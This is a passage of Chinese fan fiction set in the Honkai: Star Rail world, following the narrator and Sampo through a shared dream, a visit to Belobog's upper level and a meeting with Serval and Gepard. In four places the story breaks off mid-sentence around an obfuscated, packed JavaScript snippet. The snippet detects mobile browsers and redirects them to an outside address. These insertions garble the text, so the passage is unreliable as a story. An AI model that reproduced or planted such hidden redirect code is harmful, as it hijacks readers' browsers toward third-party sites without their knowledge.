“别紧张,我是琥珀,她的虎克,我们来自地底。”你说,“第一次来外面的世界,呼吸到新鲜空气,难免有许多不懂的,还请仁兄别见怪。” 你伸手掏兜,想象自己手里有些能贿赂看门桶的东西—— 嘿,它出现了!一只喝剩下的易拉罐! “一点薄礼不成敬意。”你笑着将易拉罐递给它。 看门桶的桶盖迅速打开,一只手接过易拉罐,随后框的一声把盖合上。 “咳,从地底跑出来的?难怪冒冒失失的。”看门桶的表情缓和了些——梦境的世界真的很难解释,你竟然能从一只垃圾桶的光泽和曲线中看出它的表情。 “是,我们没什么见识。”你说,想象了一下桑博说话的样子,微微弯腰,搓着手,“这位仁兄,你身上贴的这位……是哪位大人物啊?” 看门桶微微挺起胸膛。你感觉到骄傲的光泽在他金属的表面闪烁。 “你说塔塔洛夫大人吗?”它说,“那是我们的王!生活在贝洛伯格的每一只垃圾桶,都以塔塔洛夫大人为榜样,以成为塔塔洛夫大人那样公正、无私、有尊严的桶为目标!” 你愣了愣,随机哈哈笑起来。 垃圾桶之王? 桑博·塔塔洛夫! 真亏他想得出来! 虎克被你的笑声感染,也跟着笑起来:“漆、漆黑的虎克大人以后也、也想成为那个,工整、五丝、有尊严的大人……” “是公正无私。”你纠正。 “有品位!”看门桶对虎克很满意,“原则上来说,垃圾桶王国是不欢迎外来客的。但谁叫你们心诚呢?来吧,跟着我,我带你们进去!” 你们面前景色倏地一变,云雾散开,巨大的城楼出现在你们面前。 垃圾桶王国里乍一看很不正常……仔细一看也很不正常。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285783|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光所及全是各种桶。 金桶、银桶、摇滚桶、颓丧桶、哲学桶、打拳桶…… 你喜欢那个颓丧桶。它耷拉着桶面对墙壁,一边画圈圈一边碎碎念。 “仁兄啊。”你问看门桶,“你们的王——那位公正无私的塔塔洛夫,他不在这里吗?” “这个,塔塔洛夫大人有着重要的任务在身……”看门桶正说着,天空突然黑了下来。 只见天空中突然出现数道缝隙,成百上千的怪物从中涌出。 垃圾桶们尖叫着乱成一团:“敌袭!敌袭!” 哇塞,还有战斗环节? 遇此变故,看门桶连忙对你说:“二位啊,那些可怕的家伙又过来了!你们在这里待着,我去找塔塔洛夫大人——呜哇,你你你你干什么你!” 你一把抓住它的桶盖,“怎么?你的小桶里面藏着什么好玩的东西,不给人看啊?” “这是我的隐私!快放开我,前面那么多怪物呢!”看门桶惊慌失措,双手牢牢抓住桶盖,“打人不打脸、不是,打桶不掀盖啊!” “你打开盖给我看一眼,我帮你去找塔塔洛夫啊?”你不为所动,和桶角力,然后理所当然地胜了,“还是说,我应该叫你一声—— “塔塔洛夫大人?” “咦,桑博叔叔?”虎克看着垃圾桶里的蓝发男人,惊讶地捂住嘴,“你怎么藏在垃圾桶里啊?” “啊哈哈……” 他头顶上还顶着空易拉罐,小心翼翼地瞟向你,神情带着你熟悉的讨好。 你好笑地向他伸出手,“起来吧?塔塔洛夫大人?” “咦,他就是正主、无私的塔塔洛夫吗?为什么长得和桑博叔叔一个样?”虎克奇怪地看着你和桑博。 “是正直。”你纠正道,“小虎克,你忘了自己在做梦吗?梦里什么都有可能发生哦,就连垃圾桶之王长得跟桑博一模一样,也没什么好奇怪的喔。” “咦,原来虎克在做梦吗?” “没错没错,虎克小妹妹,你就是在做梦哦!” 桑博连忙附和道。他握住你的手从桶里钻出来:“谢了,好姐姐!” 嗡嗡—— 云层间传来一阵剧烈的震动。 怪物们要进攻了。 “这是……”你疑惑地眨眨眼,“啥?” 和裂界造物好像不太一样啊,而且……你在它们身上闻到了熟悉的味道。 “「反物质军团」。”桑博拍了拍腿上的灰,站直,“有人说它们是「毁灭」的造物,但我更倾向于是祂的卒子干的。” 你点点头:“明白了。” 桑博见你没动静,试探道:“你不上吗,家人?” 你无辜地摊手:“我连柄武器都没有,我——” 话音刚落,手里便传来温热和坚硬的质感。 桑博把他的匕首塞到你手里了:“家人,我会永远在你背后支持你的!动用你的存护之力,带着我和虎克的祝福,勇敢向前冲吧!” 你:“……” 你转了转匕首。这种武器对于你的力量来说过于轻巧,对于你的审美来说又过于花哨。 但你喜欢它温热的触感,即使刃尖冰冷锋利,刀柄处仍温润如玉石。 6. 贝洛伯格 “我发现你一直都对我有点误会。”你抬头看向桑博,“为什么你就这么笃定,我信仰的是「存护」?就因为我是从贝洛伯格挖出来的? “多的是人走上信仰之外的道路,践行多种多样的命途。而且,这里可是梦——「存护」那种古板的家伙在这里可不起作用。” 你闭上眼,在脑海中不断描摹一个轮廓。 某个算得上是星神中最纯粹的家伙,只要能够带来足够的欢愉,就能引来祂的注视。 脑海深处传来熟悉的笑声——你感觉到了祂的存在。 反物质军团已经迫近到你们身旁。你手中的匕首猛然爆出紫色的焰火,与此同时,稠厚的金色从天而降,如蜂蜜般粘稠,将天空中的敌人尽数包裹入其中。 此刻,你感到你就是「星神」。 你调转刀尖,反握着匕首,将力量凝聚在刀背上,朝着反物质军团劈去。 星神的伟力压得这方空间隐隐颤抖——但这只是梦而已,而且你深知「欢愉」的秉性。大场面只是吸引观众的引子,让众人哄堂大笑才是目的。 所以你毫不意外地看见,在你的那一击下,整个天空的反物质军团都穿上了女装。 好吧,虽然这场面是你自己在脑子里幻想的,但阿哈的力量让这一切在梦里成为现实,惟妙惟肖到令人嫌弃。 穿着粉嫩裙子、腿上捆着网格袜和黑丝、脚上踩着各种颜色的高跟鞋、武器变成蕾丝边的反物质军团,真的辣眼睛极了。 你啧啧啧道:“看吧,还是「欢愉」有意思!祂永远不会背叛你,永远不会让你失望,永远不会……” 让你哭。 桑博已经目瞪口呆,还不忘把小虎克的眼睛捂上,“好家伙,我的好姐姐,你原来信仰的是乐子神啊?恕我桑博眼拙,我刚开始是真没看出来啊。” “刻板印象不可取。”你耸耸肩,看着天空上失去战斗力的虚卒们,将匕首还给桑博:“诺,你的宝贝——” 你突然顿住。 有什么东西出现了。 你的意识深处传来尖锐的痛感——你抬头望向天空。 你看见了频闪般的红黑背景,不断跳动着出现;在那堆奇形怪状的反物质军团背后,有一道贯穿整个天空的伤痕…… 自那伤痕中流出如岩浆般的金血,鲜亮的颜色几乎要刺伤你的眼睛。 「毁灭」—— 你控制不住地抬头。 无数激烈的感情在你身体里乱窜,大脑即使失去记忆,如同条件反射般的反应仍使你的神经末梢颤动。 愤怒……悔恨……恐慌…… 祂金色的眼瞳自上而下地俯视着你。你动弹不得,整个人如同被封入琥珀中的虫子,只剩下一个念头,如自救般在你脑海中不断回荡: 不要想起来!不要想起来!不要想起来!不…… 温暖的气息覆盖上你的脸颊,黑暗笼罩下的视界,一切都变得如此令人安心。 是桑博。他用手替你挡下了「毁灭」的注视。 你终于能呼吸了。 你听见自己急促的呼吸起来,有些脱力,忍不住向后靠了靠,借了下力。 身后的人十分体贴地什么也没说。 宽厚的手仍然捂着你的眼睛,给你带来有十足安全感的黑暗。 “呼——”过了好一会儿,你拍拍他的手,示意他放下,“祂走了么?” “你指谁?”桑博问,“是先来的那位,还是后来的那位? “如果你指的是后面那位——祂已经离开了。” 他向你伸出手,“姐们儿,没力气就抓着我吧。「毁灭」光是一个眼神就能致人于死地,你没直接倒下已经赢了。” 你看向他身旁的位置。 “虎克小妹妹已经被我送走了。”桑博说,神情有点无奈。 你看了眼他,不客气地抓住他的胳膊:“我还有点想吐……梦里的呕吐物应该是彩虹色的吧?我不想被自己恶心醒……” “吐吧,吐我身上……也行。家人,你……” 你缓了一会儿。好在你还没到那地步。 “没事。”你打断桑博的欲言又止,“别安慰我,这都是……小问题。而且,被纳努克瞥视也不是谁都能有的经历,我也算因祸得福了不是?” 你向他展示你手心凝聚的丝丝缕缕白色的毁灭之力。 你没想到他会直接握住你的手——脱离刚才危险紧急的情况,这个举动多少显得有些逾矩。 他低着头,刘海垂下来,你看不清他的神情。 你心底升起一丝怪异的感觉。刚要说什么,就感觉手里的那股毁灭之力像被什么力量擦除了似得,转瞬之间就消失的无影无踪。 “咦?”你迷惑地抽回手,反复观察自己的手心。 怎么又没了? “美梦里怎么能出现「毁灭」?”桑博低头,看着空荡荡的手,忍不住搓了搓指尖,“有「欢愉」就够了。” 你眯起眼睛打量他。 这家伙的语气不太对劲啊,难不成因为「毁灭」的造访emo了? 还没等你多观察两眼,桑博就蹲了下来,眉毛耷拉,一副可怜兮兮的表情:“家人,你是不是早就知道了?早就知道这个梦是我造的,知道我是真正的、你的好朋友桑博?哎……我本来只是想编个像样的美梦,让你和虎克在梦里好好玩一把,结果「毁灭」居然这么不讲武德,搞偷袭,差点吓死我了……” 很好,这还是你熟悉的那个桑博·科斯基。 你大度地摸了摸他的头——顺手的事,他都蹲下来了! “嗐,都哥们儿,放心,我不会给你差评的。”你说,“产品不错,还包含人工服务,算下来还是我赚了。 “买一颗饴糖,还有附加的入梦服务……如果垃圾桶都像你扮演的这么有意思,你的梦境早成欢愉乐土了。今天的事别放在心上,星神们都是脑子一根筋的神经病。突然造访我的梦纯属抽风。” “不过,你也太敬业了吧?独臂许愿要个老婆的时候,你也在他枕头边听着啊?” “呃,这个嘛……哈哈哈,为了保证客户的使用体验嘛,我老桑博也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285784|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没办法……哎哟,家人,干嘛露出那种表情?我很守规矩的,蹲墙角从来只听不看!” “嘁——” 你露出嫌弃的表情。 “呃,那个,家人……” “嗯?” “既然碍事的家伙已经走了——我是说纳努克。要不要跟老桑博去别的地方转转?” 你怀疑地看着他:“不会又是垃圾桶王国吧?” “不是不是。”桑博站起来,朝你伸出手,“总是垃圾桶,不整点花活的话,观众会审美疲劳的吧?” 你握住他的手,一瞬间身边场景变幻—— 过程中你突然意识到,他一开始就能操纵你的梦境,说明造梦根本不需要进行肢体接触——那你们干嘛要握手? 但很快你就无暇细想了。 琥珀凝结成的城墙在星球边缘熠熠生辉,明晰有序的结构如同蜂巢,展示着筑造的伟力。 黄金、白银,以及种类繁多的贵金属和宝石散落在大地上,只是用来铺路而已。 然而若只有这些,石头与金属铸成的建筑再豪华也不过是没有灵魂的空洞院舍,但当你的目光越过或高或低的建筑后,你看见了无数竞相生长的繁花。 有生命的东西附着在无生命的物体上,朝着阳光绽放自己的色彩。有孩童的笑声从花圃中传来…… 好家伙,这就是整个“花活”吗? 你朝着桑博竖起一个大拇指。 . 你不知道这个梦是什么时候结束的,反正等你醒来的时候,已经是第二天上午了。 你习惯性地去隔壁查看了一眼笨笨的情况。它躯干损坏的部分你已经给它修了,只剩下语言中枢没有换。 “我这几天估计都有事不在家,没电了就自己换电池。”你嘱咐笨笨。 “嗡……■■已收录,已■■日程。”笨笨点点头。 想起那天在铆钉镇时桑博说的话,你又伸手给笨笨的战斗模组里加了点存护之力。 “你要去铆钉镇我也不拦你。”你说,“打不过就跑,给你加的这点力量够你跑回来的。” 笨笨蹭了蹭你的手。 你打了个哈欠,开门就看见深蓝发色的男人蹲在你家门口。 看见你出来他立马站直,“早啊家人!准备好出发了吗?呃……还是说,我来得太早了?” 你的哈欠打了一半,手还在嘴边,有些不上不下:“……早。啊不是,不早。 “我正打算给你发消息呢。” 你总算打完剩下的哈欠,“我们现在去哪儿,桑博先生?” “呃,我看看。第一个业务在上层,印好的新书需要交给会员……第二个业务,去「永动」机械屋找希露瓦·朗道拿替换的机械零件……呃,还有,一起吃个早饭?”他看向你,“行政区有家相当不错的红肠太阳薄饼……好吧,我承认,在这颗被冰雪覆盖的城市,食材就那么老几样,新菜也不过是几种食材不断排列组合。 “但刚烤出来的太阳薄饼搭配开花刀炙烤过的红肠,那个味道还是很不错的。 7. 贝洛伯格 “说起这个,你应该吃过老歌德那儿的冷吃夕红鱼了吧?用夕红果调味的那个。虽然那个味道……也不难吃,但夕红鱼这种食物嘛,要我说,还是热的时候最美味啊!最新鲜的夕红鱼,只有在行政区才能买着…… “哎,跟着老桑博跑业务也是蛮辛苦的,午饭就让我请吧,我知道有家餐馆能给我们打九折……” 你可耻地心动了。 你对食物的要求很低,能果腹就行,但谁能拒绝美食呢? 嘿,这家伙看起来为了钱四处奔忙,说他风餐露宿你都信,结果说起美食倒是头头是道的。 桑博说完,W形的嘴巴弯弯的对着你眨眼,征求你的意见。 你抬手给他比了个OK。 . “所以,你的业务全都在上层,那我们该怎么上去呢?”你问。 唯一的通道不就是炉心?但据说那里有机械看守,没那么好闯进去。 而且,看你们走的放心,似乎也不是炉心的方向。 “嗐,这就得靠我老桑博的一点独门秘诀了。实不相瞒,在道上混了这么多年,我老桑博也是略通一点开拓之道,最擅长在封闭的地方找通道了。 “到时候,你拉着我的手就行了,我带着你,不用多久,嗖的一下就上去了! “只是切记一点——中途不要睁眼!理解一下,恩人,‘开拓的道路上尽是敌人,切忌迷失在虚无之中’,这是教给我穿梭空间方法的无名客留下的忠告。 “虽然我老桑博也不知道什么意思,但无名客总不至于谜语人吧?他让我闭眼,我就一直闭着眼咯。” 说着,桑博停下。 你们所在是矿区的一处阴影,面前除了铁板什么也没有。 “就在这儿?”你发出质疑。 “这儿不会被人发现嘛。”桑博朝你伸出胳膊,“挽住我,女士,前往上层的通道可能略有颠簸。” 你依言挽住他,乖巧地闭上了眼睛。 你的确感觉到了「开拓」的力量……但这股力量给你的感觉十分微妙。 来不及细想,在那力量涌动的一瞬间,你睁开了眼。 嘿,有什么东西是你不能看的?就算是「虚无」本身,你也…… 好吧,这个还是有点危险,但你不觉得小小的空间穿梭会有机会看见「IX」,即使是倒影也没可能。 然而,你的行为被早有准备的桑博预判。他捂住你的眼睛,十分无奈地说:“好姐姐,不能看,真的不能看——咱的好奇心能不能别那么强?再这样下去,咋俩直接去星穹列车上当无名客算了,他们那边欢迎好奇心强的。” 你顿生可惜:“都能正常说话,却不能看吗?好吧,你可以把手拿开了,我不看就是了。” 你感觉手套的皮质感从你的眼皮上离开。 好奇心害死猫——嘿,你不是猫! 你唰地又睁开眼睛,然后又被精准预判。 你:“……” 这家伙反应够快的啊。 “家人——”桑博幽怨的声音在你身侧响起,充满控诉的意味。 “……我错了。”你老实认错。但他的手并没有从你眼皮上移开。 没过多久,你就感觉周围一亮,被黑暗包裹的感觉不再存在。 阳光暖融融的,虽然外面还是很冷,但这种冷明显和地下的阴冷不同,空气也比地下清新。 桑博的手移开,你看着眼前开阔的天地,心情也跟着好了起来。 “在这里等我一下哈,家人!我去买我俩的早餐!” 你点点头,兴趣早已被开阔世界的人和物吸引住。 喷泉哗啦啦的流水声中,你被人群和洪亮的演讲声吸引:“冬城的孩子,「存护」的子民,抬起头来! “我知道你们许多人心中仍有疑虑:「存护」似乎从未对祂的信徒们垂下神迹。贝洛伯格走在存护的道路上如此之远,几百上千年,一任一任的大守护者和筑城者为了这颗星球上人民的生存殚精竭虑、四处奔走,为何可容我们生存的家园却越来越小,可供我们丈量的天地越缩越短? “更别提外面那些寒潮和怪物…… “今天,就让我来解开诸位的疑惑。 “「存护」是克里珀精神的具现,它无时无刻不于我们同在……这样的精神早已融入了我们的骨血,塑造了我们的灵魂。正是因为有这样的精神在,冬城的子民在能在寒潮中团结起来,各分其职,与灾厄勇敢抗争!”(注一) 男人演讲的十分投入,情绪愈发高昂,对于民众的窃窃私语丝毫没有觉察。 你听见旁边的青年咕哝着说:“哎,骗子,都是骗子……” 你来了兴趣,用胳膊肘怼怼他:“嘿,兄弟,你好像对演讲有意见?怎么,你也不信克里珀?” 青年吓了一跳,看见你,手指打叉放在嘴边:“嘘,嘘!谁说我不信克里珀了!” “那你为什么说他是骗子?”你指了指还在激昂演讲的男人,“贝洛伯格从上到下、从里到外都信仰「存护」,他的演讲虽然不合时宜,但也没什么问题吧?” “哎呀,你不明白……”青年烦恼地扒拉着头发,“我不是不信仰「存护」,我要是说我不信仰祂,绝对会被老妈逐出家门的! “但是,发生在我们身上的事,祂老人家也无能为力啊……” “哦?你可知星神的伟力能撼动寰宇,是无所不能的代名词?现在你竟敢说祂无能为力?” “我不是那个意思!”青年用眼神拼命示意你小点声,“嘘,嘘!” “那你是什么意思?” “我的意思是……这是个秘密,你先答应我,不会告诉任何人!” 你举起三指,对天发誓:“以我所信仰的神明的名义发誓,我绝对不会把你的秘密告诉第二个人。” 青年深吸一口气,凑到你耳边:“「存护」……克里珀已经死了!” 你掏了掏耳朵:“命途不灭,星神不死,践行「存护」命途的人遍布银河,祂怎么可能死?” 青年急了:“真的!我亲眼看见的!” “具体说说。” “祂……我看见祂庞大的身躯寸寸碎裂,金黄的矿石四散寰宇……祂的两个眼睛如同太阳,不,更像星球,我能看见上面的陨石坑,在不断转动,流出红色的鲜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285785|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 血。那鲜血染红了祂的整个身躯……然后,一切都像镜子般寸寸裂开了!” 青年的脸色苍白,神情不似作伪。你不免感到有些疑惑:他所描述的一部分特征的确和琥珀王对得上,但是……琥珀王没有星球般的眼睛,星神的血也不会是红色的。 “你是从哪里看见这些的?”你问。 “梦、梦里……喂,你不要走啊!”青年拉住转身就走的你,“那梦可真实了,你说,克里珀是不是遇到了什么困难,才托这种梦给我,让我想办法帮祂?我这几天一直在纠结这个…… “而且,我看见祂死之后,好多怪物从祂体内跑出来了,和外面那些怪物长得一样。”青年的声音甚至带上了哭腔,“你说,是不是克里珀已经死了,所以才不管我们的?那些怪物是不是……” 你没说话,但也没甩开他的手。 你在想昨天梦里的反物质军团。 你的确在上面感受到了熟悉的气息,那股气息并不属于「毁灭」,而属于…… 「存护」。 但是为什么?若从星神的权柄论,「毁灭」应是「存护」的反面,就像「虚无」是「欢愉」的反面一样。 难道在你死之后,世界又发生了什么了不得的变化,原本不对付的星神走到一起了吗? “家人,我回来了——呃,我来的是不是不是时候?” 桑博领着纸袋子出现了。你闻见了红肠被炙烤过后的香味,回过神。 “不,你来的正是时候。”你说,“我快饿死了。” 桑博忙将薄饼递给你,“快吃,家人!你要是饿死在我手里,希儿姑娘会把我大卸八块的!” 青年看着这一幕,擦了擦眼泪,愣愣地松开手,“咦,这不是汉克姆大叔的红肠太阳薄饼?他不是早就退休了吗,今天又出摊了?” 你一言不发地啃着饼。 梦境是神启的说法,实际上并不是没有一点可信度。梦境很容易被影响,被引导,甚至被操控——昨晚你做的梦不就是如此? 那晚造访你梦境的,无疑是真正的阿哈和纳努克——即使祂们只是投来了星神的一瞥。 但若说这青年的梦亦为神明的启示,或者别有用心之人的蓄意为之,ta想达到什么目的呢? 借他之口提醒你吗? “味道怎么样,家人?”不知何时那青年已经消失不见,你眼前只剩下蓝发男人那双狗狗眼。 狗狗眼对你眨了眨。 你缓缓朝他竖起大拇指。 狗狗眼立马被得意之色溢满:“哈哈,我老桑博眼光还不错吧?万一以后贝洛伯格成了旅游城市,这太阳薄饼肯定是特色美食。” “刚才那人呢?”你看着青年消失的地方。 “啊,他啊,可能去找烤饼小摊了?他看起来是真饿了,一直盯着我们的饼看呢。” “哦……”你咽下饼,突然说道:“先前你说「星核」并不是贝洛伯格最大的问题,它后面还有更可怕的东西? “那是什么?” ———— (注一:由贝洛伯格行政区中央广场旁边的演说家多米尼克的文本改编) 8. 贝洛伯格 “啊。”桑博愣了一下,“你说那个啊?那个说起来,还是和裂界侵蚀有点关系。 “恩人,你也看见了,数百年的寒潮和怪物把人们的生存圈压迫得越来越小,不过除了裂界造物,寒冰里冻着的反物质军团才是更大的威胁。 “哎,要我说,贝洛伯格确实多灾多难。据说这场寒潮的降落就是为了把军团挡在外面……如果没有寒潮,贝洛伯格可能已经成为一座毁灭之城了。 “怎么了家人,突然问起这个?” 在他的注视下,你摇了摇头,慢吞吞道:“没事。我们接下来去哪?” “嘿嘿,诺,那边。”他示意你向那边看去,“「永动」机械屋,那里几乎什么零件都能买的到。店主也是我的老熟人了,以前是搞乐队的——你知道的,这东西无论在上层还是下层老受人欢迎了。她组的乐队在上下层没被封锁的时候可风靡了,哎,可惜……” “可惜什么?她发现搞音乐没前途就去开机械屋了吗?” “哎,哈哈哈哈,话不能这么说——毕竟,开机械屋也挺没前途的。不过,身为朗道家的大小姐,倒是不愁吃穿,随便追逐梦想。不过,她离开乐队是因为别的事情,理念不合?内部矛盾?这我就不知道了。” “我跟她打交道不多,和他弟弟更多。” “她弟弟是谁?” “杰帕德·朗道。如雷贯耳吧?啊哈哈哈……开个玩笑,我知道你不认识。他算是银鬃铁卫的头儿吧,我不是干点倒卖货物的活儿嘛?就被他留意上了。其实我还挺喜欢跟他打交道的,这人脑子一根筋,没什么心眼,看见我就追,这股热情有的时候也让我有点吃不消啊。” 你无语地看着他:“你确定不是因为他想把你抓进去才这么热情?” “啊哈哈哈……不要在意这种小细节嘛。我们到了。” 你看着面前的机械屋,准备走进去,却发现桑博没动静。 “怎么了?” 桑博搓着手:“是这样的,家人,我突然想起来一个事儿…… “现在这个时间,好像正轮到那个一根筋轮休。你说,万一他来找她姐姐,恰好就在这机械屋里头怎么办啊…… “要不,家人,你自己进去?我就在门口等你?” 你看了看机械屋的大门,又看了看桑博:“你不会想丢下我自己跑路吧?” “怎么可能!”桑博立马表忠心,“我以我老桑博的信誉作为担保……” “那种东西真的有可信度吗?”你摇摇头,“算了,既然你都这么说了,那杰帕德十有八九就在这里面。你别杵在门口了,去那边的电话亭等我,藏好,别被发现。” “好的家人!对了,要是他真的在,别报我的名字!” 说完,他一溜烟消失了。 你无奈地看他走远,推开「永动」的大门。 吱呀的声音过后,你进入了温暖的室内。屋里很热,四角都放着燃烧的地髓加热器,金发挑染的女性坐在柜台内,看见你进来,对你笑了一声:“买东西还是修东西?” “我想买个语言逻辑中枢,适配小型自动机兵的。”你说,目光被陈列在木架之上的工具柜吸引。 准确地说,是被放置在柜子上的小型机械装置吸引。 “那些是展示用的工具。”希露瓦说,“没什么实际用处,不过充充门面还是很不错的。” “这个也是?”你拿起那块装置,“这东西看上去可不像是用来充门面的。” “啊,你说的是那个。”希露瓦怔了怔,“那东西……也只是随便做着玩的。你要语言逻辑中枢?诺,给你。” 你接过手里的零件,却不肯放过她:“这个装置,是用来转化「星核」的力量的吧?” 希露瓦:“……” 她的神情变严肃了:“你是谁?你是从哪里知道「星核」的?你……” 她似乎还想聊下去,但因为一些顾虑止住了话头,“你现在来的不是时候。” 你看见圆形的工具柜后似乎有人影若现。啊——桑博说的那个银鬃铁卫果然在这里。 真是奇怪,这家机械屋的主人——明明有惊人的科研能力,为什么会蜗居在这里当个维修工? 贝洛伯格有故事的人可真多呐。 “多少钱?”你问,“我转给你。” “啊,语言逻辑中枢吗?这个不贵,50信用点……” “不,我说的是这个。”你抛了抛手里的装置,“我买了。” 希露瓦愣了愣,然后笑起来:“这是非卖品!而且只是一个模型,是我自己的一点想法。要付诸现实,转化星核的力量,那不知道得付出多少人力物力,造出多大的装置。 “而且,看你的样子,还不知道吧。「星核」在贝洛伯格是禁词。”希露瓦凑近你耳边小声道,“别让别人听见你提到它,尤其是银鬃铁卫。” “为什么,这有什么不能说么?”你眨眨眼,“贝洛伯格的寒潮不是由星核带来的吗?如果能找到控制星核的方法……” “谁知道上面的人怎么想呢。”希露瓦的表情一下子淡下来,“你要是想研究就拿去吧,送你了。但最好把你的研究藏好,不然……” “有客人么。”工具柜后面的人影终于现出身影。 他有点太高了。虽然桑博也很高,但……看向你的时候,他经常是弯着腰的,从视觉上毫无压迫感。这位杰帕德·朗道不愧是银鬃铁卫的头儿,一身正气啊。 难怪桑博喜欢跟他打交道。 “谢谢。”你对希露瓦说,“加个联系方式可以吗?我还有很多想跟你交流的东西。但我的朋友还在外面等我,今天看来是来不及了。” 希露瓦深深地看了你一眼,什么也没说,拿出了手机。 . 你在电话亭旁边找到了桑博。 他正在向人推销什么东西,张口就是专业名词,说的头头是道,眼看着就要被人忽悠瘸了。 你听见了「平行宇宙打印机」……这几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17285786|198427||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个词你都认识,组合在一起就十分诡异,真的会有人买下这种听起来就很不靠谱的商品吗? 有。 你眼睁睁地看着桑博对面那人掏钱,十分震惊。 明明可以靠脸吃饭,却偏偏要靠口才,这难道就是欢愉之道的践行方式吗? 人走后,你忍不住问他:“那些人回家发现自己被忽悠了,不会找你算账吗?” “呃,什么叫忽悠?这些东西的利好我可都完完整整地介绍过了,就算回家发现功效不一样……也不能怪我不是?这叫愿者上钩嘛! “不过,要是他们真的找到我了,我这边好有好几款配套的产品——比如,「以太透镜」?这款产品不合适,我们可以换成另一款嘛!总有一款适合你~ ” “哇塞。”你发出真情实意地感叹,“你这里真的有正经商品出售吗?” “哎,家人,这你可就不懂了。我卖给他们的,不是产品本身,而是我带给他们的情绪价值啊!你想想,在这个冰冷的世界中,还有人愿意花时间骗……不是,为你勾勒一场美梦,这是多么幸运的一件事情啊!” “别把上当受骗说的像是荣幸。”你说,“你骗过的人都能组成一个协会了吧。” “嗐,家人,你还真别说。”桑博笑眯了眼,“还真有这么个协会,我还加入了呢。” 你用一秒钟猜到乐子人在其中担任了什么位置。 “……你该不会是会长吧?” “哎,没办法,我老桑博也怕他们被其他人骗啊。”桑博摇摇头说,“所以就把他们组织起来,一起声讨那个可恶的骗子……咳咳,顺便卖防骗指南,由我亲自撰写和配图。” 你对着他缓缓竖起一个大拇指。 你最近似乎做了很多次这个动作。没办法,除了这个动作,你无法再用其他肢体语言表现你对这些乐子人的难绷。 “为什么「星核」是贝洛伯格不能说的秘密?”最后,你说回正事。 上午的时间过得很快……当然也有可能是你起的太晚,总之,你们此刻正坐在餐厅中,等待服务员将你们的水煮黑背鲈……啊不是,夕红鱼上桌。 “这个嘛……和现任的大守护者大人有一些关系。我打听到的版本是,在星核持之以恒的蛊惑下,大守护者大人背弃了「存护」。不过是真是假谁知道呢?大人物们都有自己的考量。” 桑博拿出两个饮料杯,“喝奶茶吗?仙舟罗浮的特产,小姐女士们的最爱,用当季新产的茉莉花茶和新鲜牛乳煮制而成,里面还有黑糖珍珠。” 你伸出手:“要。” 不得不说,除开商人的身份不谈,桑博的向导工作是干的相当漂亮。 不仅介绍起贝洛伯格各种美食头头是道,还能讲美食背后的贝洛伯格小故事——当然,你不知道真的假的,但故事这东西,足够有趣就行。 下午你又跟着他去骗……跑业务,晚些时候你们将他剩下的活全都干完,桑博终于提出带你去「星核」的所在地。 9. 贝洛伯格 “这里雪好大。”你说。 旁边的桑博想接茬,被风雪灌了一嘴。 你咧开嘴嘲笑他。 你们用穿梭的方法跑到了……你也不知道这是哪里?总之,应该是在保护区之外,不适宜人类生存的地方。 除了银鬃铁卫之外,就是各种游荡的裂界造物。 这风雪对你没什么影响,洒洒水啦。你的身体不受寒潮影响,当然,仅限于寒潮外围——要是深入内部,你恐怕也举步维艰。 桑博拿出一张地图,示意你看过来。 地图上用鲜红的颜色标出了裂界侵蚀严重的地方,颜色最深的地方在永冬岭。 星核也许就在那里。 你们最好别被银鬃铁卫发现,你想。 然而,从回廊通向永东岭的关卡处,有成队的铁卫巡逻。 “怎么办?”你用眼神询问同伴。 “看唔眼神行事,家仁。”他说。 你好整以暇地等待他动手。 只见他掏出他的炸弹——上面还印着骚粉色的爱心!朝着巡逻过来的银鬃铁卫扔过去。 这会不会动静太大了?! 你迷惑地看着这一幕。 炸弹弹弹弹,吸引了铁卫们的注意力。 没炸,是个哑炮?还是延迟炮? 你抓住机会,闪身到了门前。 很可惜——门是锁着的。 你就知道,一场伟大的冒险总会遇到意外,但你没想到刚开始就出了问题。 